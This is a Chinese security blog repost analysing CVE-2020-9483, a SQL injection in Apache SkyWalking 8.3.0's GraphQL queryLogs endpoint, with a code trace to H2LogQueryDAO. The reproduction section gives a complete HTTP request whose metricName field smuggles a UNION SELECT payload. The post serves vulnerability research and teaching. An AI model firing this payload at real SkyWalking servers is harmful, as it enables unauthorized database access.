漏洞分析 | Apache SkyWalking SQL注入漏洞分析

admin 2024年12月30日15:50:36评论31 views字数 2656阅读8分51秒阅读模式
朋友们,现在只对常读和星标的公众号才展示大图推送,建议大家把杂七杂八聊安全设为星标”,否则可能就看不到了啦~

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

0x01 熟悉Graphql

0x01.1 Graphql环境搭建

通过springboot搭建graphql环境,pom.xml内容如下:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

其中graphql-java-tools包是处理graphql请求,也就是提供graphql接口并处理相关请求,graphiql-spring-boot-starter提供web界面,访问http://ip:port/ graphiql就能查看界面:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

Bean类:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

服务类:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

查询类:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

schema.graphqls,这里面的内容就是和bean类对应:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

root.graphqls,这里面的内容就是和查询类相关联:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

添加启动类启动就完成了graphql的搭建:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

启动后访问http://127.0.0.1/graphiq,就能和graphql进行交互操作:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

Graphql之所以会出现就是因为能够根据你想要的内容按需返回,比如下面这种只需要返回id和name,就可以这样,不像RESTfulapi只能返回全部,由前端选择返回的内容显示:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

0x01.2 Graphql审计点

审计graphql接口问题其实就是审计查询类相关的接口函数,最终的web请求到达的是继承于GraphQLQueryResolver的类,然后在这里有自定义的查询方法进入业务内容,本例中就是AuthorQuery下的findAuthorById方法,在该方法下打断点之后,在浏览器发包就会进入到该方法:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

0x02 CVE-2020-9483漏洞分析

0x02.1 境搭建

直接下载:

https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
然后解压进入bin目录执行startup.sh:
漏洞分析 | Apache SkyWalking SQL注入漏洞分析
访问http://127.0.0.1:8080/就能看到SkyWalking的界面:
漏洞分析 | Apache SkyWalking SQL注入漏洞分析

如果需要远程调试则,在/bin/oapService.sh中的JAVA_OPTS里面添加调试参数后重启:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

0x02.2 漏洞复现

@font-face{font-family:"Times New Roman";}@font-face{font-family:"宋体";}@font-face{font-family:"等线";}@font-face{font-family:"Menlo";}p.MsoNormal{mso-style-name:正文;mso-style-parent:"";margin:0pt;margin-bottom:.0001pt;mso-pagination:none;text-align:justify;text-justify:inter-ideograph;font-family:等线;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;mso-font-kerning:1.0000pt;}span.msoIns{mso-style-type:export-only;mso-style-name:"";text-decoration:underline;text-underline:single;color:blue;}span.msoDel{mso-style-type:export-only;mso-style-name:"";text-decoration:line-through;color:red;}@page{mso-page-border-surround-header:no;mso-page-border-surround-footer:no;}@page Section0{}div.Section0{page:Section0;}POST /graphql HTTP/1.1Host: 127.0.0.1:8080Content-Type: application/json;charset=utf-8Content-Length: 313Connection: close{"query":"query queryLogs($condition: LogQueryCondition) {  queryLogs(condition: $condition) {    total    logs {      serviceId      serviceName      isError      content    }  }}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --","endpointId":"1","traceId":"1","state":"ALL","stateCode":"1","paging":{"pageSize":10            }        }    }}
漏洞分析 | Apache SkyWalking SQL注入漏洞分析

0x02.3 漏洞分析

这个请求所对应graphqls文件是query-graphql-plugin-8.3.0.jar 包中的log.graphqls文件:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

与这个对应的接口方法在query-graphql-plugin-8.3.0.jar中的org.apache.skywalking.oap.query.graphql.resolver.LogQuery方法中:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析
漏洞分析 | Apache SkyWalking SQL注入漏洞分析

queryLogs方法上下断点,发包就会进入该方法:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

接下来会进入到

org.apache.skywalking.oap.server.core.query.LogQueryService#queryLogs

里面,这里会调用Dao层方法,也就是数据库方法:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

这里的dao层方法是执行H2db的SQL语句的方法:

org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2LogQueryDAO#queryLogs
漏洞分析 | Apache SkyWalking SQL注入漏洞分析

H2LogQueryDAO中直接将metricName拼接到SQL语句中就造成了SQL注入漏洞:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

到达执行SQL语句的地方:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

接下来就会执行输入的SQL语句达到SQL注入的效果:

漏洞分析 | Apache SkyWalking SQL注入漏洞分析

END

原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | Apache SkyWalking SQL注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月30日15:50:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 | Apache SkyWalking SQL注入漏洞分析http://cn-sec.com/archives/3570966.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息